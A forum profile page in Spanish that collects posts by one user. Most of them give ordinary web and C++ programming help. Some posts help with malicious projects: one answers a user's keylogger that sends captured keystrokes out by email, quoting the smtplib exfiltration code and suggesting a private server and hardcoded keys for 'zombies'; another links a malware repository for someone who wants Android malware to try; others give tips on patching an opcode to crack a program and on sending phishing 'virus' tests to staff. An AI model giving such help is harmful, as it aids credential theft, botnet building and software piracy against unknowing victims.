Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @XSStringManolo

#331
Código (cpp) [Seleccionar]
cout << "Los números ingresados ordenados de menor a mayor: ";
for (int i=0;i<10;i++)
{
  cout << numeros;
  if(i != 9) {
    cout << ", ";
  }
}


Esta es una opción, decirle que si no es el decimo número que ponga la coma.

También puedes hacer push al array de la coma, etc.
#332
El código PHP no va a existir en absolutamente ningún momento en el navegador. El servidor es quien procesa en el código PHP y te mandan una web como si el PHP no existiera.

El resultado que mandas al navegador es este:
Código (javascript) [Seleccionar]
<body>
<script>
$(document).ready(function() {
  var my_variable = 'texto'; // defino la variable
  Ejecuta_Ajax();
});
</script>

<script>
$(document).ready(function() {
  console.log(my_variable); // va a decirme que no está definida dicha variable.
});
</script>
</body>


Como ya te han comentado y yo mismo te comenté no hace mucho en respuesta a uno de tus temas de forma bastante concreta el uso de var, let, globales y alcances. Al usar var estás definiendo la variable en el contexto de la función "más cercana"(en caso de haberla), no de forma global.

Si quieres definirla de forma global desde dentro de una función lo normal es que la definas explícitamente como propiedad del objeto giobal:
Código (javascript) [Seleccionar]
window.my_variable = "texto";

Utilizando librerías palante y ensuciando el alcance global a tutiplen por desconocimiento lo único que vas a conseguir es dolores de cabeza.

Mi consejo cuando programes con PHP y en general es que dejes de utilizar el document ready y en su lugar simplemente coloques todo el código javascript normalmente en un único script en la parte final justo antes de la etiqueta de cierre del body. Dado a como funcionan los parsers no vas a tener problemas porque se procesará el HTML por orden, y como las etiquetas script son HTML, cuando llegues a ellas ya tendrás todo el HTML anterior procesado y listo para manipular.

Cuando tienes todo el codigo al final en un solo script, perfectamente puedes moverlo a un archivo externo como te están aconsejando y a lo que yo me sumo.

Hacer esto tiene muchas ventajas. Como reducir el tamaño total de la web, hacer posibles la implementación de una cuantas medidas de seguridad para evitar multiples exploits, ahorrarte tiempo de portar cambios entre codigo que tengas repetido o incongruencias, facilitar la localización y manejo...

También es viable mover un archivo con funciones puras al head y la implementación/llamadas al body. Es una forma cómoda de separar algunas librerías o posibilitar elementos html custom. Uno de los ejemplos más populares son los templates con las etiquetas script.

He visto que estás acostumbrado a meter muchqs etiquetas script con document.write("ejemplo"). En lugar de hacer esto puedes meter una sola librería para habilitar mustache sintax y así solo necesitas poner {{ ejemplo }} y la librería te lo remplazará. No estoy seguro pero creo que jquery tiene algo así.

En general los frameworks modernos te permiten hacer esto. Te aconsejo vue.js, es el más simple y sencillo. Aunque también tienes librerías independientes muy completas y compactas.
#333
Desarrollo Web / Re: Variable un Href en específico
9 Septiembre 2020, 03:14 AM
Código (javascript) [Seleccionar]
var enlace = document.querySelector("#start-button");
enlace.innerText = enlace.href.substr(49, 5);


Se obtiene el elemento HTML a y se asigna una referencia a una variable enlace utilizando querySelector y un selector por id como parámetro ya que el id en HTML presume ser un elemento único en toda la web.
Se obtiene el atributo href del elemento como string y se obtiene un subStr con el método substr del tipo referenciado String. El primer parámetro es la posición inicial/primer elemento del substring. El segundo parámetro (se puede omitir para obtener el substr hasta el final) es el número de caracteres a obtener.
Se asigna este a la propiedad innerText, homólogo de innerHTML pero que inhabilita la ejecución indeseada de código poco probable (pero posible) al utilizar cadenas con cierto rango de aletoriedad.

Como aclaración los elementos a no son botones. Tienes botones de verdad como <button type="button">Click</button>
#334
Dudas Generales / Re: Creación de pagina web
9 Septiembre 2020, 02:52 AM
Cita de: sudogat en  4 Septiembre 2020, 08:17 AM
cual es el mejor editor?
Yo uso vim, es cómodo si trabajas desde la terminal.
#335
Mándale varios ataques de phishing a todos los empleados con un virus que simplemente haga una peti a tu server con el nombre del equipo, hora, ip, mac... Después buscas a los que se vieron afectados y le echas la bronca.

Igual ni siquiera es ese el punto de infección, la gente hace cosas muy random. Igual tienes a alguno bajándose películas del ares, otro que trae sus "programas" en un pendrive, otro que se conecta a un proxy random...

Métele un servidor dns y si vuelve a pasar ya sabes quien es el fenóneno mirando los logs el día de infección.

#336
Cita de: el etrno en  6 Septiembre 2020, 06:33 AM
estoy teniendo problemas con un keylogger se supone que debe enviarme los datos que capture por correo electrónico el problema es que toda la información recure al uso de la librería smtplib estoy usando python 3 y el código siempre recure a gmail sobra decir porque dar una cuenta de gmail a un virus es una idea oribe como solución que halle fue usar el servisio de coreo tutanota el problema es que no se como hacer para que mi programa mande la información usando tutanota en lugar de gmail. normalmente intentaría adaptar este código:
import smtplib
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login("usuario", "1234")
msg = "datos"
server.sendmail("prueba1@gmail.com", "prueba2@gmail.com", msg)
server.quit()

y luego lo refinaría pero cada ves que toco algo aparecen 10 errores, ni siquiera estoy seguro de si el modulo smtplib sirve para esto y en internen no e encontrado información
agradecería cualquier ayuda esto se esta convirtiendo en un dolor de cabeza enorme.  
Usa tu propio server en lugar del de Google. Puedes hardcodearle llaves públicas a los zombies y que manden siempre la última versión de los mensajes a nuevos nodos.
#337
Cita de: el etrno en  6 Septiembre 2020, 05:09 AMcomo extra cifra el codigo y programa el virus para que si en x tiempo no te conectas se auto-destruya y si tratan de detener su poseso se auto-destruya
No es práctico.
#338
Estudia el protocolo http. En pdfdrive.com tienes libros gratis.

Un servidor web es un programa que responde texto a sus usuarios. Normalmente html.
El navegador interpreta estos códigos html para formar elementos que en su conjuto forma la página web.

No tiene mucha ciencia. Puedes hacer uno muy básico con netcat.
#339
Análisis y Diseño de Malware / Re: Malwares
5 Septiembre 2020, 16:37 PM
Cita de: jusecoco en  5 Septiembre 2020, 06:08 AM
hola, tengo la misma pregunta, les agradeceria que me enviaran un ejemplo para usarlo y probarlo en android
https://foro.elhacker.net/abril_negro/abril_negro_2020_rs-t504626.0.html

https://github.com/stringmanolo/rs
#340
Ingeniería Inversa / Re: Crackear un programa
5 Septiembre 2020, 03:14 AM
Cita de: Mpek17 en  4 Septiembre 2020, 23:59 PM
Buenas tardes, soy completamente nuevo en el tema y llegué al foro buscando un crack o una activation key para un programa que tengo.

Conseguí un programa para poner mensajes subliminales en mi pc, ya lo había probado hace bastantes años y era muy bueno, no he encontrado otro igual, el problema es que el sitio web oficial ya está dado de baja, el desarrollo y soporte para el programa ya terminó, no se da más, de modo que instalarlo y activarlo me ha resultado imposible porque para eso necesitaba enviar una solicitud al sitio web y ellos me enviaban la clave de activación por correo.

Tengo otras llaves de activación en unos correos viejos pero ya no funcionan.

Sería posible que alguno de ustedes me ayudara con eso?

El programa es bastante pequeño y sencillo (8.5mb)
Prueba a ver si puedes cambiar el OP code del condicional
A veces puedes modificar la función.
Si no, trata de circunventar la llamada.
Antes era bastante más popular el tema.
Mientras tanto intentaría contactar al desarrollador.
El puede que te pase una copia.
Lo mismo hasta una versión mejor.
O al menos te podrá recomendar algo.

Qué objetivo tenían los mensajes subliminales? Suena interesante. Tú crees que los mensajes subliminales funcionan?